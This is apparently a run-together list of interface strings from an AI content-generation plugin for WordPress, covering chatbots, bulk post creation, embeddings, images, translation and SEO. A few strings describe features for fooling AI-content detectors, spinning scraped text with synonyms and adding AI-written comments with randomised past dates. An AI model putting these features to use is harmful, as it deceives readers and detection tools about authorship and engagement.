SectionAdd Article 'Q&A' Section:Add Article 'Table Of Contents' SectionAdd Article 'Table Of Contents':Add Article Q&A SectionAdd Article Q&A Section:Add Article Table Of Contents SectionAdd Article Table Of Contents:Add Headings To Content AsAdd Headings To Content As:Add New AssistantAdd New OmniBlock TemplateAdd New PersonaAdd New Persona:Add New Post SourceAdd Nofollow Attribute To Manual LinksAdd Nofollow Attribute To Manual Links:Add OmniBlockAdd Product Comparison TableAdd Product Comparison Table:Add Product Images To The ArticleAdd Product Images To The Article:Add Product Titles To Content AsAdd Product Titles To Content As:Add Sections To Content AsAdd Sections To Content As:Add The YouTube Video To The ArticleAdd The YouTube Video To The Article:Add a comma separated list of categories to set for posts.Add a comma separated list of post IDs on which the Keyword Replacer will not function.Add a comma separated list of tags to set for posts.Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). Example of prompt to pretain the AI --- Article: "%%post_content%%" Discussion: Add a list of functions which will be allowed to be executed by the chatbot (a function on each line). If you set a list of functions here, any other function which does not appear on the list will not be allowed to be executed by the god mode chatbot.Add a list of functions which will not be allowed to be executed by the chatbot (a function on each line).Add a list of headings (one on each line) to use in the generated articles. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Add a list of image URLs (one on each line) to use in the generated articles. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Add a menu nameAdd a name for your Qdrant collection. This is optional. The default value for this is: qdrantAdd a new embedding:Add a new form:Add a promptAdd a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Main Settings' -> 'YouTube API Key List' settings field.Add a time period between the plugin will run importing at a schedule. To disable this feature, leave this field blank. This works based on your current server timezone and time. Your current server time is: Add additional shortcodes which will be available in the OmniBlocks. Add multiple shortcodes on a new line. In the above OmniBlocks, you can use the shortcodes in this format: %%shortcode_name%%. The format is: shortcode_name => shortcode_value1, shortcode_value2Add new ExtensionsAdd or remove Post SourceAdd the %%web_results%% shortcode templateAdd the URLs of the CSV files from where the plugin will get the details for publishing posts. Add each file URL on a new line.Add the above OmniBlock to the QueueAdd the edited promptAdd your embedding rewriter promptAdding your Anthropic Claude API key in this settings field, will make the Anthropic Claude models to appear in all model selector boxes from the plugin. To make it work, insert your Anthropic Claude API Keys (one per line). Get your API key here.Adding your Google MakerSuite API key in this settings field, will make the Google MakerSuite AI models to appear in all model selector boxes from the plugin. To make it work, insert your Google MakerSuite AI API Keys (one per line). Get your API key here.Adding your OpenRouter key in this settings field, will make the OpenRouter AI models to appear in all model selector boxes from the plugin. To make it work, insert your OpenRouter AI API Keys (one per line). Get your API key here.Adding your Perplexity key in this settings field, will make the Perplexity AI models to appear in all model selector boxes from the plugin. To make it work, insert your Perplexity AI API Keys (one per line). Get your API key here.Additional AI API Settings:Additional Embeddings Settings:Additional ParametersAdditional Post CategoryAdditional Post Category:Additional Post TagsAdditional Post Tags:Additional Shortcodes:Adds a related YouTube video to the content.Adds a related royalty free images to the content. For this feature to work, you need to select one or multipel royalty free images services from the plugin's 'Main Settings' menu -> 'Royalty Free Images' tab.Adds an OmniBlock for direct Instagram sharing of contentAdds an OmniBlock for direct LinkedIn sharing of contentAdds an OmniBlock for direct Pinterest sharing of contentAdds an OmniBlock for direct Reddit sharing of contentAdds an OmniBlock for direct X (Twitter) sharing of contentAdds an OmniBlock for direct YouTube Community sharing of contentAdds two OmniBlocks for direct Facebook sharing of text and imagesAdmins OnlyAdvanced AI API Settings:Advanced AI SettingsAdvanced AI Text Generator OptionsAdvanced API Settings:Advanced Content TemplatesAdvanced ModeAdvanced Prompting OptionsAdvanced SettingsAdvanced Settings:Affiliate Keyword Replacer Tool Settings:AfrikaansAfrikaans (Google Translate)After creating your Pinecone API, create a new index. Make sure to set your dimension to 1536 and also make sure to set your metric to cosine. Enter the generated index ID here.After creating your Pinecone API, create a new namespace (optional).After creating your Qdrant_index API, create a new index. Make sure to set your dimension to 1536 and also make sure to set your metric to cosine. Enter the generated index ID here.After you've configured all the settings to your liking, make sure to click the "Save Changes" button at the bottom of the page.Afterwards, you need to add yourAiomaticAiomatic - AI Generated SEO FieldsAiomatic - Automatic AI Content WriterAiomatic AI Content EditorAiomatic AI Product WriterAiomatic ChatAiomatic CronAiomatic Cron 10 MinuteAiomatic Cron Half HourAiomatic Cron Quarter HourAiomatic EmbeddingsAiomatic Extension: Amazon S3 StorageAiomatic ExtensionsAiomatic ImagesAiomatic PlaygroundAiomatic Shortcodes & FormsAiomatic WP-CLI Tutorial Video:Aiomatic allows developers to customize the prompts sent to the AI models and also the responses returned by the AI, before they are processed in the plugin, allowing high customizability of the AI and its results.Aiomatic is a comprehensive WordPress plugin that leverages the capabilities of artificial intelligence to create content, chatbots, images, audio, and more. This all-in-one AI suite includes features such as Custom ChatGPT, Content Creator, Automatic Content Generator, Content Wizard, AI Forms, Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and more, all powered by GPT-3, GPT-3.5 and GPT-4.Aiomatic is a powerful tool that can help you generate high-quality, AI-created content for your WordPress site. Whether you're a blogger, marketer, or simply looking to automate your content creation process, Aiomatic has everything you need to get started.Aiomatic takes your media library to new heights with the AI Media Library Extension. With Extension 1, you can automatically generate alt text, captions, and descriptions for your images, saving you valuable time and effort. Extension 2 brings even more power by suggesting relevant tags and keywords for your media files, ensuring optimal search engine optimization and discoverability.Aiomatic uses this library to resize images and speed up your site's loading timeAiomatic's Support PageAlbanianAlbanian (Google Translate)AllAll OmniBlock FilesAll OmniBlock TemplatesAll Post SourcesAll Rights ReservedAll assistantsAll embeddingsAll filesAll fine-tunesAll formsAll personasAlt TextAlternative AI Image Generator API Settings:Alternative TextAmazon Associate IDAmazon Associate ID (Optional)Amazon Associate ID (Optional):Amazon Bucket Name:Amazon Bucket Region:Amazon Product DetailsAmazon Product ListingAmazon Product ReviewAmazon Product Reviews TutorialAmazon Product RoundupAmazon Product Roundup TutorialAmazon Product ThumbnailAmazon S3 API Key:Amazon S3 API Secret:Amazon S3 Directory:Amazon S3 Settings:Amazon S3 Storage For ImagesAmazon S3 Tutorial Video:Amazon Search OptionsAmazon Target CountryAmazon Target Country:AmharicAmharic (Google Translate)An Error Occurred.An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.An error occurred, please try again later!An internal error occurred, please try again later!An internal error was encountered, please try again later!And that's it! Your Aiomatic plugin is now set up to automatically edit your posts using AI. Remember, you can always go back and change these settings if you find that the automatic editing isn't working quite how you want it to.AnimalsAnthropic API SettingsAnyApparently, there are no updates to show!Append Text To All Textual AI PromptsAppend Text To All Textual AI Prompts:Append Text To Prompts For Content Completion:Append To The EndApply For Any RoleApply For Any SubscriptionArabicArabic (Google Translate)Are you sure you want to clear the running list?Are you sure you want to delete all generated posts? This can take a while, please wait until it finishes.Are you sure you want to delete all logs?Are you sure you want to restore the default plugin settings?ArmenianArmenian (Google Translate)Article 'Customer Reviews Analysis' Section Header TextArticle 'Customer Reviews Analysis' Section Header Text:Article 'Pros & Cons' Section Header TextArticle 'Pros & Cons' Section Header Text:Article 'Q&A' Section Header TextArticle 'Q&A' Section Header Text:Article 'Table Of Contents' Section Header TextArticle 'Table Of Contents' Section Header Text:Article Customer Reviews Analysis PromptArticle Customer Reviews Analysis Prompt:Article Image SourceArticle Image Source:Article Intro PromptArticle Intro Prompt:Article Outro PromptArticle Outro Prompt:Article Outro Section Header TextArticle Outro Section Header Text:Article Pros & Cons PromptArticle Pros & Cons Prompt:Article Q&A PromptArticle Q&A Prompt:Article Q&A Section Header TextArticle Q&A Section Header Text:Article Sections PromptArticle Sections Prompt:Article Table Of Contents Section Header TextArticle Table Of Contents Section Header Text:AscendentAsia Pacific 1 (Tokyo)Asia Pacific 2 (Sydney)Asia Pacific 3 (Singapore)Asia Pacific 4 (Osaka)Asia Pacific 4 (Seoul)Asia Pacific 5 (Mumbai)Asia Pacific 6 (Hong Kong)AsideAssammeseAssammese (Google Translate)Assign WPML/Polylang Language to PostsAssign WPML/Polylang Language to Posts:AssistantAssistant AvatarAssistant Context PromptAssistant DescriptionAssistant FilesAssistant First MessageAssistant FunctionsAssistant IDAssistant Local IDAssistant Model*Assistant Name*Assistant OpenAI IDAssistant draft updated.Assistant published.Assistant restored to revision from %sAssistant saved.Assistant scheduled for: %1$s.Assistant submitted.Assistant updated.Attach Links To Created PostsAttachment SEO Attributes:Attribution LicenseAttribution-NoDerivs LicenseAttribution-NonCommercial LicenseAttribution-NonCommercial-NoDerivs LicenseAttribution-NonCommercial-ShareAlike LicenseAttribution-ShareAlike LicenseAudioAudio Device Profile:AustraliaAuth key (optional)AuthorAuthor IDs:Author Names:AutoAuto Add CategoriesAuto Add Categories:Auto Add TagsAuto Add Tags:Auto Created Embeddings Template:Auto Generate Post Title Based On Topics (Optional)Auto Generate Post Title Based On Topics (Optional):Auto Index Existing Posts:Auto Set A Featured Image For Posts (Select Source Below)Auto Set A Featured Image For Posts (Select Source Below):Automate the AI Taxonomy Description Writing Process:Automatic AI Written SEO Tags For Media Library Items:Automatic Content EditingAutomatic Editing Of Existing Posts:Automatic Linking Keyword Extraction Method:Automatic Linking OptionsAutomatic Linking TypeAutomatic Linking Type:Automatic Links Keyword Extractor Settings:Automatic Taxonomy Processing At Creation:Automatically Add AI Generated SEO Description To Posts:Automatically Add AI Generated SEO Description To Posts: This will automatically add SEO meta description for posts.Automatically Add Categories To Posts:Automatically Add Comments To Posts:Automatically Add Comments To Posts: This will add related comments to posts.Automatically Add Internal Links: This will automatically add internal links to posts.Automatically Add Links To Posts:Automatically Add Tags To Posts:Automatically Clear Logs After:Automatically Process Posts When They Are:Automatically Run Rules Only Between These Hour Periods Each Day:Automatically Translate Content To:AvailableAvailable OmniBlock Types:Available shortcodes:AvatarAvgCustomerReviewsAymaraAymara (Google Translate)AzerbaijaniAzerbaijani (Google Translate)Azure AI Model Deployments ListAzure API Key SettingsAzure EndpointAzure OpenAI Deployment Name For 'Azure OpenAI Endpoint:Azure deployment name for BackBack to ListBackgroundsBackup Current Assistants To File:Backup Current OmniBlock Templates To File:Backup Current Personas To File:Backup File (*.json)Backup/Restore AssistantsBackup/Restore OmniBlock TemplatesBackup/Restore PersonasBambaraBambara (Google Translate)BasqueBasque (Google Translate)Be sure to always save settings you change.Be sure to edit the 'Title Prompt' settings from the advanced settings to change the way titles will be created! Enter a post topic list, one on each line. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.BelarusianBelarusian (Google Translate)BengaliBengali (Google Translate)BhojpuriBhojpuri (Google Translate)Blacklisted WordPress Functions:Block Validation ErrorsBoard Where to Publish PinsBoldBold and ItalicBoost the characteristics of the voice. Default is disabled.Boost the similarity of the synthesized speech and the voice at the cost of some generation speed.Boosting voice clarity and target speaker similarity is achieved by high enhancement; however, very high values can produce artifacts, so it's essential to find the optimal setting. The default value is 0.75BosnianBosnian (Google Translate)Bottom of the sectionBrasilBuildingsBuilt-in - Medium Quality - FreeBuilt-in Keyword Extractor Language:Built-in ShortcodesBulgarianBulgarian (Google Translate)Bulk AI Editing Settings:Bulk AI Embeddings Settings:Bulk AI Post CreatorBulk AI Post Creator - Content PromptsBulk AI Post Creator - Excerpt PromptsBulk AI Post Creator - Intro PromptsBulk AI Post Creator - Outro PromptsBulk AI Post Creator - QA PromptsBulk AI Post Creator - Sections PromptsBulk AI Post Creator - Title PromptsBulk AI Post Creator Settings:Bulk AI Post Creator TutorialBulk PostersBulk Posters & OmniBlocksBulk PostsBulk embedding creation might consume a large number of AI model tokens to complete! Be sure you checkBulk post editing might consume a large number of AI model tokens to complete! Be sure you checkBurmeseBurmese (Google Translate)BusinessBusiness Where to Publish PostsBuyer Name:By default, the plugin will attempt to translate AI image prompts to English. If you are publishing only English content on your site, you can disable this feature to speed up image processing.CFG Scale:CLI Data Preparation ToolCSV AI Post CreatorCSV AI Post Creator TutorialCSV FileCSV File OptionsCSV File Separator (Optional)CSV File Separator (Optional):CSV File URLs ListCSV To PostCSV example file 1 (basic functionality)CSV example file 2 (advanced file with some additional variables)CSV example file 3 (advanced file with nested [aicontent] shortcodesCanadaCanada (Central)Canada (Toronto)CancelCannot find this comment ID!CaptionCaption TextCar speakerCatalanCatalan (Google Translate)CategoryCategory Names:Category1, Category2, Category3Category:Caution! This is for debugging purpose only!CebuanoCebuano (Google Translate)CenterChange Post Status After Editing:Change the OmniBlock Type which is displayed, which will be able to be added to the OmniBlock Queue.CharactersChatChat Compliance Text:Chat End of Conversation Retry Count:Chat Font Size:Chat Form Height:Chat Form Min-Height:Chat Form Width:Chat Input Placeholder:Chat Input Submit Button Text:Chat end API retry max countChatbot API Options:Chatbot Assistant Name (Using This Disables Chatbot Personas):Chatbot Context DetailsChatbot Context Details:Chatbot Context:Chatbot Email Extension:Chatbot FeatureChatbot General Settings:Chatbot Global Injection Settings:Chatbot Location:Chatbot Model:Chatbot Open Icon:Chatbot Persona Settings:Chatbot Persona:Chatbot PreviewChatbot ShortcodesChatbot Styling Options:Chatbot Temperature:Chatbot Text-to-Speech/Video Options:Chatbot Theme Management:Chatbot Theme:Chatbot Themes Tutorial Video:Chatbot Top_p:Chatbot Width:Check this detailed step-by-step tutorial and also this tutorial video for info on setup and usage of Microsoft Azure OpenAI API in Aiomatic.Check On OpenAICheck The Tutorial Videos From The Above Tabs!Check and verify added embeddings and manage them to be sure they are correct.Check for updatesCheck more settings which apply to rule running, over at the plugin's 'Main Settings' menu, here.Check some example CSV files you can use:Check the Statistics page Check this checkbox if the above API key is a DeepL free plan key. If it is a PRO key, please uncheck this checkbox.Check this link for detailsCheck this to enable the AI writer to improve the YouTube video keywords.Check this to force the plugin to make draft posts before they would be fully published. This can help you you use other third party plugins with the automatically published posts.CheckboxChichewaChichewa (Google Translate)ChineseChinese SimplifiedChinese Simplified (Google Translate)Chinese TraditionalChinese Traditional (Google Translate)Choose from the most used Post SourceChoose how often you want to automatically check for old posts. This will change the cron scheduling time.Choose if you want to automatically clear logs after a period of time.Choose if you want to improve royalty free image importing, using the below services. These will extract keywords from the original text and provide better image quality results. If you select TextRazor, you also need to enter a TextRazor API key below. If you select OpenAI, you also need to enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to be selected, please enter an API key for TextRazor below.Choose if you want to process entered titles/topics in order of entering them, not in a random order.Choose if you want to receive a summary of the rule running in an email.Choose if you want to require only one word from the 'Required Words List' for the post to be accepted.Choose if you want to skip checking for duplicate post titles when publishing new posts. If you check this, duplicate post titles will be posted! So use it only when it is necesarry.Clear Chat ConversationClear DataClear Running Rules ListClear avatarClick here to get the pluginClick on a bubble to copy its content!Click on the 'OpenAI Status' tab in the 'Limits and Statistics' section. Here, you can see reported incidents from OpenAI's part and their API service status. This can help you troubleshoot any issues with the AI services provided by the plugin. Remember, the 'Limits and Statistics' feature is a powerful tool for managing and monitoring the usage of the Aiomatic plugin. By understanding how to use this feature, you can ensure that your AI services are being used effectively and responsibly.Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. Here, you can view graphs that represent the call count, used token count, usage cost, and generated AI image count. These graphs provide a visual representation of the plugin's usage over time, helping you understand usage trends and patterns.Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. Here, you can set usage limits for both logged in and not logged in users. You can set limits based on token usage, price usage, or call count usage. You can also create usage limiting rules. For example, you might limit the number of requests a user can make in a given time period. The Aiomatic plugin can be integrated with the 'Ultimate Membership Pro' plugin. This allows you to set different usage amounts for members who have joined different membership plans. You can also limit usage based on user role. For example, you might allow administrators to make more requests than regular users.Click on the 'Usage Logs' tab. Here, you will see a table with the following columns:Click the persona you want to use in your chatbot and it will be selected and its values will be automatically filled in the settings fields from above. All you have to do afterwards, is to save settings and the chatbot persona will be applied to the chatbot!Click this button to start processing and create the content and title of the post.Click this option to enable integration with the 'Featured Image from URL' plugin - https://wordpress.org/plugins/featured-image-from-url/ (you need to install and activate this plugin). This will not copy featured images of created posts locally, but will link them directly from their source.Clip Guidance Preset:Close panelCloud StorageCloudFlare R2 API Key:CloudFlare R2 API Secret:CloudFlare R2 Account ID:CloudFlare R2 Bucket Name:CloudFlare R2 Directory:CloudFlare R2 Settings:Code InterpreterCode Interpreter enables the assistant to write and run code. This tool can process files with diverse data and formatting, and generate files such as graphs.CodeRevolutionColsComma separated list of post IDs to edit.Comment CountComment E-mail List:Comment Replier:Comment URL List:Comment User Name List:Comparison Table PromptComparison Table Prompt:CompletedCompleted ConversionsCompletionComputerConfigure advanced settings for this rule.Configures OmniBlocks for this rule.Confused about rule running status icons?ContentContent EditingContent Image Editing Engine:Content LanguageContent Language:Content ParametersContent PromptContent Prompt:Content TemplateContent TypeContent WizardContent Wizard Frequency Penalty:Content Wizard General Settings:Content Wizard Image Model:Content Wizard Image Settings:Content Wizard Image Size:Content Wizard Model:Content Wizard Presence Penalty:Content Wizard Prompts:Content Wizard Result Placement:Content Wizard Temperature:Content Wizard Text Completion Settings:Content Wizard Top_p:Content Wizard Tutorial Video:Content Wizard:Content and TitleContent separatorContext Window Limit For Claude 200k Models:Context Window Limit For Claude Models:Context Window Limit For gpt-3.5-turbo-1106:Context Window Limit For gpt-4-1106:Continue Creating Posts With AIConvertConvert Markdown To HTML In AI Generated Post Content:Convert New Lines To Line Breaks (br) In AI Generated Post Content:Copy Audio/Video Files:Copy Meta Description From Post Excerpt Instead Of Generating It:Copy Royalty Free / AI Images From Post Content:Copy TextCopy The Taxonomy DescriptionCorsicanCorsican (Google Translate)Craft an enticing and succinct meta description in English for your WordPress %s: "%s". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.Create Fine-TuneCreate a captivating and comprehensive English description for your WordPress %s: "%s". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %s that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.Create a captivating and concise SEO title in English for your WordPress %s: "%s". Boost its search engine visibility with relevant keywords for maximum impact.Created AtCreated At:Created Content Minimum Character Count:Created shortcodes by this OmniBlock (usable in OmniBlocks from below this one): Credit TypeCriticalCroatianCroatian (Google Translate)Current Server Time:Current thumbnailCurrently Only OpenAI API is supported for TTSCurrently supported models to be used in shortcodes:Currently, as the AI editor is in beta, it might have difficulties editing longer texts. If you encounter this issue, you can limit the chunk size which is sent to the AI editor (in characters). Leave this blank if editing works well in your case.Currently, because of an issue with the AI editor, sometimes it might remove parts of the HTML content you send to it for editing. The Aiomatic plugin can check if this happens and not change the post in these cases. If you check this checkbox, the edited content will be published, even if it misses some HTML tags. Do you want to publish edited content even if the AI editor removed some or all HTML content from the text?Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-3.5-turbo-instruct @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%Custom Chatbot BuilderCustom FieldsCustom HTMLCustom HTML #1Custom HTML #2Custom HTML Code #1:Custom HTML Code #2:Custom HTML Code/ Ad Code:Custom Model NameCustom NameCustom Shortcode Creator (Optional)Custom Shortcode Creator (Optional):Custom TaxonomiesCustom field deleted.Custom field updated.CzechCzech (Google Translate)D-IDD-ID API:D-ID Streaming Video Update:DALL-E 2 Image GeneratorDALL-E 3 Image GeneratorDDIMDDPMDOMDocumentDOMDocument is required for the Fusion Builder plugin to properly function.DOMDocument:Daily token count for your user account is exceeded! Please try again tomorrow.Daily token count of your user account was exceeded! Please try again tomorrow.Daily token limit for your user account was exceeded! Please try again tomorrow.Dall-E 2Dall-E 3Dall-E 3 HDDall-E 3 Image Style:Dall-E AI Image Generator Settings:Dall-E AI ImagesDall-E ImageDanishDanish (Google Translate)Data ConverterDataset (*.csv)Dataset (*.jsonl)DateDate Posted AscendentDate Posted DescendantDate Taken AscendentDate Taken DescendantDate Time Format1Y-m-d H:i:sDayDay Query:Days When To Always Show The Chatbot:Days When To Never Show The Chatbot:DeepL Translator API:DeepL Translator Authentication Key (Optional)DefaultDefault API Parameters:Default Chat Mode:Default Embeddings API To Use:Default Featured Image ListDefault Featured Image List:Default Featured Image Optimizations:Default TemplateDefine the link you want to appear the defined keyword. Leave this field blank if you only want to replace the specified keyword without linking from it.Defines the maximum length of a variable that is registered through a POST request.DelDelay Article Editing By (Seconds):DeleteDelete All ConversationsDelete All EmbeddingsDelete All FormsDelete All Generated PostsDelete All PersonasDelete All Posts Generated by this Plugin:Delete All Rules from All Section: Delete Existing Theme:Delete LogsDelete Selected AssistantsDelete Selected EmbeddingsDelete Selected FormsDelete Selected OmniBlock FilesDelete Selected OmniBlock TemplatesDelete Selected PersonasDelete Selected ThemeDelete an existing theme from the listed themes.Delete this field?Depending for which feature are you looking for, be sure to navigate to the respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab for each of the features available in the plugin. There you will find also a tutorial video, with detailed description of the feature you are setting up.DescendentDescriptionDescription TextDetailed System Info:Developer Tools TutorialsDeveloper Tools Tutorials:DhivehiDhivehi (Google Translate)Digital Ocean Spaces API Key:Digital Ocean Spaces API Secret:Digital Ocean Spaces Directory:Digital Ocean Spaces Origin Endpoint:Digital Ocean Spaces Settings:Disable AI Writer Usage To Get More Headings:Disable Automatic Image Compression For Copied Images:Disable Bing Search Scraping To Get More Headings:Disable Editing of 'Custom Post Types':Disable Editing of 'Pages':Disable Editing of 'Posts':Disable Editing of Content Longer Than This Character Count:Disable Editing of Selected Categories:Disable Editing of Selected Tags:Disable FunctionsDisable Media Library Extension:Disable Sending Of Empty Chat Messages:DisabledDisplayed on attachment pages.Displays whether or not WordPress is in Debug Mode.Do Also A Second Translation ToDo Also A Second Translation To:Do Not Add Inexistent CategoriesDo Not Add Inexistent Categories:Do Not Add Inexistent Tags:Do Not Add a CategoryDo Not Check For Duplicate Titles:Do Not Randomize Royalty Free Image Results Order: Do Not Randomize Royalty Free Source Order, But Use The Below Order: Do Not Run This Rule On The Following Days Of The WeekDo Not Run This Rule On The Following Days Of The Week:Do Not Search By Photo LicensesDo Not Spin Posts Generated By This RuleDo Not Spin Posts Generated By This Rule:Do Not Spin Title, Only Content:Do Not Translate Posts Generated By This RuleDo Not Translate Posts Generated By This Rule:Do you enjoy our plugin? Please give it a rating on CodeCanyon, or check our website for other cool plugins.Do you want delay automatic editing of the posted article with this amount of seconds from post publish? This will create a single cron job for each post (cron is a requirement for this to function). If you leave this field blank, posts will be automatically spun on post publish.Do you want to add nofollow attribute to manually entered, external links?Do you want to automatically add post categories from the feed items?Do you want to automatically add post categories from the generated items?Do you want to automatically add post tags from the feed items?Do you want to automatically add post tags from the generated items?Do you want to automatically translate generated content a second time, to this final language? In some cases, this can replace word spinning of scraped content. Please note that this can increase the amount of requests made to the translation APIs. This field has no effect if you don't set also a first translation language, in the settings field from above.Do you want to automatically translate generated content using Google Translate/Microsoft Translator/DeepL to any language?Do you want to automatically translate generated content using Google Translate?Do you want to copy royalty free or AI generated images from posts content, from their original location to a local/remote server?Do you want to delete this rule?Do you want to disable automatic compression of copied images?Do you want to disable automatically editing of WordPress 'custom post types'?Do you want to disable automatically editing of WordPress 'pages'?Do you want to disable automatically editing of WordPress 'posts'?Do you want to disable automatically editing of WordPress categories?Do you want to disable automatically editing of content longer than this character count?Do you want to disable the AI content detector fooling method of the plugin? This will leave the AI content as it is, in an unchanged form.Do you want to disable the Media Library extension of the plugin?Do you want to enable Aiomatic's WP-CLI Integration?Do you want to enable OmniBlocks webhook functionality? This will enable the Webhook OmniBlock type to automatically recieve requests from external sources, using a speicific webhook URL.Do you want to enable broad search for royalty free images?Do you want to enable comments for the generated posts?Do you want to enable detailed logging for rules? Note that this will dramatically increase the size of the log this plugin generates.Do you want to enable global usage limits?Do you want to enable logging for rules?Do you want to enable or disable the AI assistant feature of the plugin?Do you want to enable pingbacks and trackbacks for the generated posts?Do you want to enable pingbacks/trackbacks for the generated posts?Do you want to enable swear word filtering for created content?Do you want to enable text-to-speech usage limits?Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.Do you want to enable this plugin? You can deactivate any rule (you don't have to delete them to deactivate them).Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).Do you want to enable usage tracking for statistics and usage limits?Do you want to not skip importing the aritcle if no royalty free image found for the post?Do you want to not spin title (only content)?Do you want to protect HTML tags in edited text? This will add to the prompt you enter, a phrase which specifies to protect HTML tags from the edited text.Do you want to randomize CSV row processing order or do you want to process the lines in their order of appearence?Do you want to randomize text by changing words of a text with synonyms using one of the listed methods? Note that this is an experimental feature and can in some instances drastically increase the rule running time!Do you want to replace the royalty free image with an AI generated image?Do you want to rewrite also post URL with the modified title?Do you want to rewrite content using AI before sending it to the embedding?Do you want to rewrite content using AI before sending it to the embedding? This will rewrite the %%post_content%% in the 'Embedding Template' settings field - so be sure to use the %%post_content%% shortcode in the 'Embedding Template' settings field, if you are wanting to optimize the content for it using this feature. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: Revise the given content concisely, preserving its style and information, while ensuring the revised text stays within 300 words. Each paragraph should range between 60 to 120 words. Exclude non-textual elements and unnecessary repetition. Conclude with a statement directing readers to find more information at %%post_url%%. If these guidelines cannot be met, send an empty response. The content is as follows: %%post_content%%Do you want to run manual post editing, now? Please check configuration from below before clicking 'Run Post Editing'.Do you want to run manual writing of description for existing taxonomies, now? Please check configuration from below before clicking 'Run Taxonomy Desciption Writing'.Do you want to run this rule now? Note that only one instance of a rule is allowed at once.Do you want to scrape each link and extract readable content from them? Note that this feature will add the scraped data into the %%item_scraped_data%% variable, be sure to use it in the template above!Do you want to set a custom comment publish date for created comments? You can input 2 dates, minimum and maximum date - the plugin will select a random date from the specified interval, for each new comment created. Set the range in the below field.Do you want to set a custom post publish date for posts?Do you want to set a custom post publish date for posts? Set the range in the below field.Do you want to set a custom post publish date for posts? Set the range in the below field. You can set dates in the following format (a random date will be selected from the range): date1 ~ date2. If you don't use the ~ character, the date will be considered as a single date string.Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Main Settings' menu -> 'Royalty Free Featured Image Importing Options' section.Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Main Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.Do you want to set a maximum price for the imported item? Price is in pennies: 1000 is 10$.Do you want to set a maximum price for the imported items? Price is in pennies: 1000 is 10$.Do you want to set a minimum price for the imported item? Price is in pennies: 1000 is 10$.Do you want to set a minimum price for the imported items? Price is in pennies: 1000 is 10$.Do you want to skip post content editing?Do you want to skip post excerpt editing?Do you want to skip post title editing?Do you want to skip spinning of posts generated by this rule?Do you want to skip translating of posts generated by this rule?Do you want to use the above proxies also when accessing OpenAI API? Otherwise, they will be used for Amazon product scraping / image downloading only.Document rootDogriDogri (Google Translate)Domain List Allowed To Embed Chatbots:Don't Add Product Links to HeadingsDon't Add Product Links to Headings:Don't Add SectionsDon't Attempt To Translate AI Image Prompts To English:Don't Open Links In A New Tab:Don't Process Same Post Twice:Don't Send Maximum Tokens In API Request (Experimental):Don't Try To Fool AI Detectors (Disable Content Tricks):Don't Use !important In Generated CSS For Shortcodes:Don't Use Jobs In The Advanced Mode Single AI Post Creator (Experimental):Don't checkDon't have an 'ChimpRewriter' account yet? Click here to get one:Don't have an 'ContentProfessor' account yet? Click here to get one:Don't have an 'SpinRewriter' account yet? Click here to get one:Don't have an 'SpinnerChief' account yet? Click here to get one:Don't have an 'The Best Spinner' account yet? Click here to get one:Don't have an 'WordAI' account yet? Click here to get one:Don't show this widgetDon't use assistants, use AI models insteadDone!Download All ConversationsDownload Current Forms To File:Download DataDownload NowDownload the plugin hereDownload to CSVDraftDraft -> ModerateDraft Posts First, And Publish Them Afterwards:DraftedDuplicateDuplicate Checking Custom Field Name (Optional):Duplicate This RuleDutchDutch (Google 